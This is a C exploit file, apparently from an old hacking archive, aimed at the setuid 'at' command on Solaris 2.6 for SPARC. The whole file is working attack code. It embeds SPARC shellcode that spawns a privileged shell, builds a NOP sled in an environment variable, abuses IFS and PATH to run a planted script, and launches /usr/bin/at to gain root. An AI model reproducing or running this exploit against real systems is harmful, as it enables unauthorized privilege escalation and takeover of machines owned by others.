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at.c
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C/C++ Source or Header
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2005-02-12
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2KB
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82 lines
/*
* at sploit - tested on 2.6
* by horizon - do not use
* "I like to walk around and.. I'm paid to stand around.."
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define RUNWAY 200000
#define SPARC_NOP 0xac15a16e
#define ADDR 0xefffd008
u_char sparc_shellcode[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
"\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
"\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
"\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
"\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
"\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
int main(int argc, char *argv[])
{
char buf[RUNWAY];
char *holder;
char *evec[4];
FILE * f;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
f=fopen("usr","w");
fprintf(f,"#!/bin/sh\n");
fprintf(f,"echo \'");
for (i=0;i<250;i++)
fprintf(f,"%c%c%c%c",
(ADDR>>24)&255,
(ADDR>>16)&255,
(ADDR>>8)&255,
(ADDR)&255);
fprintf(f,"\'\n");
fclose(f);
system("cp usr bin");
system("chmod 755 usr bin");
long_p =(u_long *) buf ;
for (i = 0; i < (RUNWAY - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
*char_p++ = 0;
holder=malloc(10);
sprintf(holder,"IFS=/");
evec[0]=holder;
holder=malloc(10);
sprintf(holder,"PATH=.");
evec[1]=holder;
holder=malloc(RUNWAY+20);
sprintf(holder,"BLAH=%s",buf);
evec[2]=holder;
evec[3]=NULL;
printf("Hit Ctrl-D\n");
printf("You won't see the output of your commands so aim well.\n");
execle("/usr/bin/at","at","-k","now",NULL,evec);
}
/* www.hack.co.za [2000]*/